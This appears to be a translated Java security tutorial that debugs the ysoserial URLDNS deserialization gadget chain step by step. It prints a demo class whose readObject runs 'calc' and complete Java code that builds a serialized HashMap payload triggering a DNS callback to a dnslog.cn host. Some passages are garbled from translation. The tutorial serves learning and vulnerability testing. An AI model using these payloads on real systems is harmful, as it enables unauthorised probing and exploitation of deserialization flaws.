The URLDNS chain is the 0th lesson of Java deserialization analysis, and there are many high-quality analysis articles on the Internet.
As a beginner in Java security, the author also debugged from 0 to 1, and now I give debugging notes.
1. Java deserialization pre-knowledge
Java native chain serialization: use the writerObject method of the output stream of the Java.io.ObjectInputStream object to implement the Serializable interface, and convert the object into a byte sequence.
Java native chain deserialization: use the readObject method of the Java.io.ObjectOutputStream object input stream to convert the byte sequence into an object.
The test source code is as follows. This part of the source code refers to the blog of master ol4three:
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 实现序列化和反序列化具体细节的类
class operation1{
// 将输出字节流写入文件中进行封存
public static void ser(Object obj) {
// 序列化操作,写操作
try {
// 首先文件落地object.obj存储输出流,绑定输出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将输出流字节写入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化,读取操作
try {
// 绑定输入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化时需要从相关的文件容器中读取输出的字节流
// 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
Two. Ysoserial environment construction
IDE just use JetBrains IDEA directly
Take the Java security payload integration tool ysoserial directly for analysis, there is already a ready-made environment in it
https://github.com/frohoff/ysoserial
Pay attention to configure the corresponding JDK
and SDK
version:
3. URLDNS attack chain
• Affected version issues: It has nothing to do with the JDK version, and its attack chain implementation depends on Java built-in classes, and has nothing to do with third-party libraries
• The URLDNS deserialization chain can only initiate DNS requests and cannot be used for other purposes. It can be used as a gesture to verify whether there is a deserialization vulnerability
debug analysis
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
Perform domain name resolution in the getHostAddress function, so that it can be captured by the DNSLog platform
URLDNS program entry
There are files under ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java
the pathURLDNS.java
main
run函数
The breakpoint of the main function enters
ysoserial-master
The running structure of this payload
is roughly that there is a special PayloadRunner
running program, and then it is called uniformly to run each part.payload
The first is to serialize:
Continue to generate command
, because it is to analyze URLDNS
the attack chain, so you only need to modify dnslog
the temporary address that will return the value
After creating an instance, enter the URLDNS
functiongetObject
payload
What should be noted in the getObject function is: the HashMap object and the URL object are declared, and the put hash binding is performed, and finally the scope is set
Deserialization chain:
Breakpoint at deserialization entry:
readObject
function called while deserializing
Then enter HashMap.java
the readObject
function
readObject
Debugging to this line in , here , putval
this IDEA
function IDE
that can be selected to enter, directly enter the latterhash
Since we read in the byte sequence and need to restore it to the corresponding object structure, then we need to re-putval
If the input key
is not empty, executekey.hashCode
further URL.java
down the file
entered URLStreamHandler
_hashCode
produces parse:
In general, the idea of using the chain is as follows:
When deserializing the URLDNS object, it is also necessary to deserialize the HashMap object, thus calling the rewriting function of HashMap.readObject(), which calls the related reconstruction functions of the hash table putval, etc., and calls it under the hashcode The getHostAddress function
Then, on the contrary, why the getHostAddress function was not called when it was first declared, and now the function route of the declaration is given:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
The function has an empty implementation
List the key functions on several routes to see:
Since here key
is String
the type, enterString.hashCode
By contrast, in deserialization key
for URL
type
Set not to initiate dns resolution
For the specific execution flow, you can look at the sequence diagram, and I won’t talk about it^^
4. Use of URLDNS chain
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不发生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 设置put时不发起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射机制在动态执行时获取类
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 对象输出流绑定文件输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 对象输入流绑定文件输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}
5. Reference link
2. https://www.yulate.com/275.html
3. https://fireline.fun/2021/06/04/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BURLDNS(%E4%B8%80)/#0x03-%E4%BB%A3%E7%A0%81%E6%A8%A1%E6%8B%9F
Call for original manuscripts
Call for original technical articles, welcome to post
Submission email: [email protected]
Article type: hacker geek technology, information security hotspots, security research and analysis, etc.
If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.
For more details, click me to view!
Practical operations close to the real environment, click "Read the original text "